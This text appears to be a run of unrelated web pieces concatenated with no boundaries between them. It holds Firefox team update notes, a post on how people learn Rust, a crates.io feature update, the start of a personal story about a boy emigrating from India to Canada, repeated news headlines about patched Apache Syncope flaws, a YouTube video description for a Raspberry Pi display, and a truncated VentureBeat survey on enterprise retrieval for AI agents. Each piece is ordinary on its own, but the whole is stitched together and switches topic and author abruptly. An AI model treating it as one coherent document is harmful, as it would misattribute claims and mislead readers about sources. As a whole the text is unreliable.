• kpatenio adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably, especially when selecting videos from the YouTube search page.
• Thanks to Sylvestre for patching some bugs to prevent some spurious console errors!
• Niklas fixed captions on autopip videos failing to sync with the origin videos.

Performance Tools (aka Firefox Profiler)

• Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
  • https://www.npmjs.com/package/@firefox-devtools/profiler-cli
  • You can install it with npm install -g @firefox-devtools/profiler-cli@latest

Search and Urlbar

Nova UI refresh

• Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.
• 2019154, 2019152, 2041501, 2040532

Suggest

• Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.
• 2040561, 2039753, 2035614, 2038843

Adaptive autofill

• James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.
• 2040819, 2037177

Quick actions

• Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.
• Caleb added Calculator support for certain unicode operators.
• 2023169, 1928635, 1923383, 2033861

Multi Context Address Bar

• Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.
• 2039297, 2036095, 2039844, 2037933, 2030050

Other

• Marco, Drew and Daisuke fixed several intermittent test failures.
• 2038510, 2023908, 2011584, 1938142, 1971091

Search

• Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from resource://search-extensions/.
• Caleb fixed multiple documentation issues and added a test covering searches from a private window.
• 1904613, 2035878, 2037942, 2033545, 2005724

Places

• Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.
• Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.
• 2039534, 1505800, 2008829, 2029541, 2035084

In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.

As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.

Many paths to needing Rust

The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.

"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO

Rust learning resources

Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as The Rust Programming Language Book and find that sufficient to build on what the compiler was already showing them.

"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier

Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as Rustlings, The Little Book of Rust Macros, and Learn Rust With Entirely Too Many Linked Lists.

"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant

"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage

These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.

"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry

Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.

Beginner stumblings and unlearning habits

It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.

"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax." -- Principal Firmware Engineer (mobile robotics)

"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of mut and not mut and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT

We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.

"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&D Lab

Learning to work with the borrow checker

We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.

The compiler as teacher

Rust's diagnostics did the teaching on their own, especially around lifetimes.

"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs

"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer

Learning by doing

Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.

"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust

"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider

Letting go of "clone guilt"

Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.

"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university

The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.

We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or Vecs.

Multi-paradigm, but not the OOP some are used to

The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.

"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM

"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company

Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.

"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries

"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO

Teaching Rust in academia

We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.

"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust

The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.

What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.

Learning using LLMs

Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.

"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate

"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust

For some learners, an LLM is just another way to find answers, no different than a search engine.

"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space

One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.

"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company

We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.

Organizational considerations for Rust learners

We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.

"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in." -- Principal Firmware Engineer (mobile robotics)

"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider

"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation

Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.

"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM

The community and helping each other aspect seems to grow bonds as organizations mature.

"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company

Silent attrition

We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.

"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor

There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.

"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)

We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.

"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust

While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.

"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider

Feedback on near-bounces from survey

We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:

"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A

Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.

One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.

Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.

Need more focused work on silent attritrion

The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.

Conclusions

Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.

That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.

What seems worth trying

Learning materials aimed at unlearning. Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.

Put the "clone freely while you're learning" advice somewhere official. Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.

Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did. Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.

Is "the book" actually out of date? Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.

How stuck learners get treated is shaping who stays. We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.

Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust. Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.

What we still don't know

The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in our first post, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.

We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.

The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.

Source Code Viewer

Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.

Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.

The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub

At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.

The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions

In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris

The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed

In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.

We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.

We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous

These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:

• Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.

• Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.

• New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.

• Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!

• CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.

• Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.

• Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.

• Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.

Feedback

We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!

As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh used to hear whispers. Your mum isn’t really your mum, the rumours would say. Your mum lives abroad. Avtar didn’t really pay any attention to it. “I thought, the neighbours are just making up stories.” But the stories were true: the woman raising Avtar was actually his grandmother. When he was too young to remember it, his father had emigrated to Canada to work as a teacher, leaving Avtar in the care of his paternal grandparents. His grandfather, a police officer, was a fearsome authoritarian, but his grandmother brought him up with tenderness, as if he were her own son. She called him by his nickname, Titu. He felt loved.

When Avtar was around eight years old, he was told about his family in Canada: his dad, his mum and a little brother were waiting for him there, and he would soon travel to join them. Just after his ninth birthday, Avtar found himself sitting on a plane, dressed in a three‑piece suit and tie. He was travelling alone. He had never flown before. He didn’t speak a word of English. He landed in Halifax, Nova Scotia, on Christmas Eve, 1968; his family met him at the airport and took him home. “I didn’t know what to think,” Avtar, now 66, tells me in a video call from his home in Abbotsford, British Columbia. “Before I knew it, it was the first week of January, and I was put in school.”

Read more →

The post Apache Syncope Release Patches for Multiple RCE and SQL Injection Vulnerabilities appeared first on IT Security News.

The post Apache Syncope Release Patches for Multiple RCE and SQL Injection Vulnerabilities appeared first on Cyber Security News.

Read more →

The post Apache Syncope Flaws Let Users Gain Admin Roles and Execute Remote Code appeared first on IT Security News.

The post Apache Syncope Flaws Let Users Gain Admin Roles and Execute Remote Code appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post Apache Syncope Flaws Let Users Gain Admin Roles and Execute Remote Code appeared first on Cyber Security News.

This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee

Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it on my studio wall to run all my Home Assistant and homelab stuff. It is a gorgeous little screen (1200x1920, real IPS, 10 finger touch, 400 nits) and at $80 it is a steal. There is one catch though, and a lot of you are not going to like it: this thing only works on the Raspberry Pi 5 and the Compute Modules. Your Pi 3 or Pi 4 will not work at all.

In this video I unbox it, walk through everything that is new versus the old touch display, hit a wall when it powered on and did absolutely nothing (turns out you have to update the firmware on your Pi 5, the EEPROM, before it will recognize the screen), mount it with nothing but a drill and some screws, and finally turn it into a beautiful Home Assistant dashboard using an open source kiosk app called TouchKio. Whether you are building a smart home wall panel, a homelab status board, or you just want your Raspberry Pi to show off what it is doing, this is a really good option.

Join the NetworkChuck Academy!: https://ntck.co/NCAcademy

RESOURCES / LINKS:
🌐 Raspberry Pi Touch Display 2: https://www.raspberrypi.com/products/touch-display-2/
🛠️ TouchKio (open source kiosk app): https://github.com/leukipp/touchkio
🏠 Home Assistant: https://www.home-assistant.io/
🖥️ Proxmox: https://www.proxmox.com/
📖 Update your Raspberry Pi firmware (EEPROM): https://www.raspberrypi.com/documentation/computers/raspberry-pi.html
☕ NetworkChuck Coffee (Default Route): https://ntck.co/coffee

TIMESTAMPS:
0:00 - Unboxing the new Raspberry Pi Touch Display 2
0:45 - What is new on the 10 inch portrait display
1:50 - The catch: Raspberry Pi 5 and Compute Modules only
2:48 - It powered on and nothing happened
3:16 - The fix: updating your Raspberry Pi 5 firmware
5:55 - Building the Home Assistant dashboard with TouchKio

**Raspberry Pi provided the Touch Display 2 for this video, no strings attached. All opinions are my own.

SUPPORT NETWORKCHUCK:
☕☕ COFFEE and MERCH: https://ntck.co/coffee

READY TO LEARN??
🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy
📚 CCNA Course: https://ntck.co/ccna

FOLLOW ME EVERYWHERE:
Instagram: https://www.instagram.com/networkchuck/
X/Twitter: https://x.com/networkchuck
Facebook: https://www.facebook.com/NetworkChuck/
Join the Discord server: https://ntck.co/discord

Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.

#raspberrypi #homeassistant #homelab

This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

